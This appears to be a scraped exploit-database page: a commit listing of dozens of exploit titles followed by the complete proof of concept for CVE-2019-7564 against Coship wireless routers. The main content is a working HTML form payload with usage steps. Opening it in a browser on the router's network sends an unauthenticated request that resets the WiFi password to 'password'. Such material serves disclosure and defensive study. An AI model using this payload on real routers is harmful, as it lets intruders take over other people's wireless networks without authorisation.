d622832ea0
21 changes to exploits/shellcodes KnFTP 1.0.0 Server - Multiple Buffer Overflows (Denial of Service) (SEH) (PoC) KnFTP 1.0.0 Server - Multiple Buffer Overflows (PoC) (SEH) Jzip - Buffer Overflow (Denial of Service) (SEH Unicode) Jzip - Buffer Overflow (PoC) (SEH Unicode) Mediacoder 0.8.33 build 5680 - '.m3u' Buffer Overflow (Denial of Service) (SEH) (PoC) Mediacoder 0.8.33 build 5680 - '.lst' Buffer Overflow (Denial of Service) (SEH) (PoC) Mediacoder 0.8.33 build 5680 - '.m3u' Buffer Overflow (PoC) (SEH Overwrite) Mediacoder 0.8.33 build 5680 - '.lst' Buffer Overflow (PoC) (SEH Overwrite) STIMS Buffer 1.1.20 - Buffer Overflow (Denial of Service) (SEH) (PoC) STIMS Buffer 1.1.20 - Buffer Overflow (PoC) (SEH Overwrite) Zortam Mp3 Media Studio 20.15 - Overflow (SEH) (Denial of Service) Zortam Mp3 Media Studio 20.15 - Overflow (PoC) (SEH) Netatalk 3.1.12 - Authentication Bypass (PoC) IP-Tools 2.50 - Denial of Service SEH Overwrite (PoC) Necrosoft DIG 0.4 - Denial of Service SEH Overwrite (PoC) IP-Tools 2.50 - Local Buffer Overflow (PoC) Necrosoft DIG 0.4 - Buffer Overflow (PoC) (SEH Overwrite) FlexHEX 2.46 - Denial of Service SEH Overwrite (PoC) FlexHEX 2.46 - Buffer Overflow (PoC) (SEH Overwrite) Remote Process Explorer 1.0.0.16 - Denial of Service SEH Overwrite (PoC) Remote Process Explorer 1.0.0.16 - Buffer Overflow (PoC) (SEH Overwrite) AirDroid 4.2.1.6 - Denial of Service FutureDj Pro 1.7.2.0 - Denial of Service NordVPN 6.19.6 - Denial of Service (PoC) River Past Video Cleaner 7.6.3 - Local Buffer Overflow (SEH) IP-Tools 2.5 - Local Buffer Overflow (SEH) (Egghunter) River Past Cam Do 3.7.6 - Local Buffer Overflow (SEH) Evince - CBT File Command Injection (Metasploit) Avast Anti-Virus < 19.1.2360 - Local Credentials Disclosure Netatalk - Bypass Authentication Adobe Flash Player - DeleteRangeTimelineOperation Type Confusion (Metasploit) NUUO NVRmini - upgrade_handle.php Remote Command Execution (Metasploit) Indusoft Web Studio 8.1 SP2 - Remote Code Execution Smoothwall Express 3.1-SP4 - Cross-Site Scripting Coship Wireless Router 4.0.0.x/5.0.0.x - WiFi Password Reset IPFire 2.21 - Cross-Site Scripting MyBB Bans List 1.0 - Cross-Site Scripting VA MAX 8.3.4 - Authenticated Remote Code Execution CentOS Web Panel 0.9.8.763 - Persistent Cross-Site Scripting Webiness Inventory 2.3 - 'email' SQL Injection
35 lines
No EOL
1.6 KiB
HTML
35 lines
No EOL
1.6 KiB
HTML
# Exploit Title: Coship Wireless Router – Wireless SSID Unauthenticated Password Reset
|
||
# Date: 07.02.2019
|
||
# Exploit Author: Adithyan AK
|
||
# Vendor Homepage: http://en.coship.com/
|
||
# Category: Hardware (WiFi Router)
|
||
# Affected Versions *: *Coship RT3052 - 4.0.0.48, Coship RT3050 - 4.0.0.40, Coship WM3300 - 5.0.0.54, Coship WM3300 - 5.0.0.55, Coship RT7620 - 10.0.0.49.
|
||
# Tested on: MacOS Mojave v.10.14
|
||
# CVE: CVE-2019-7564
|
||
|
||
#POC :
|
||
|
||
# Change the X.X.X.X in poc to Router Gateway address and save the below code as Exploit.html
|
||
# Open Exploit.html with your Browser
|
||
# Click on “Submit request”
|
||
# The password of the Wireless SSID will be changed to "password"
|
||
|
||
<html>
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form action="http://X.X.X.X/regx/wireless/wl_security_2G.asp
|
||
<http://router-ip/regx/wireless/wl_security_2G.asp>" method="POST">
|
||
<input type="hidden" name="wl_wep" value="disabled" />
|
||
<input type="hidden" name="wl_auth_mode" value="none" />
|
||
<input type="hidden" name="page" value="wl_security_2G.asp" />
|
||
<input type="hidden" name="wl_unit" value="0" />
|
||
<input type="hidden" name="action" value="Apply" />
|
||
<input type="hidden" name="wl_auth" value="0" />
|
||
<input type="hidden" name="wl_akm" value="psk psk2" />
|
||
<input type="hidden" name="wl_crypto" value="tkip+aes" />
|
||
<input type="hidden" name="wl_wpa_gtk_rekey" value="0" />
|
||
<input type="hidden" name="wl_wpa_psk" value="password" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
</body>
|
||
</html> |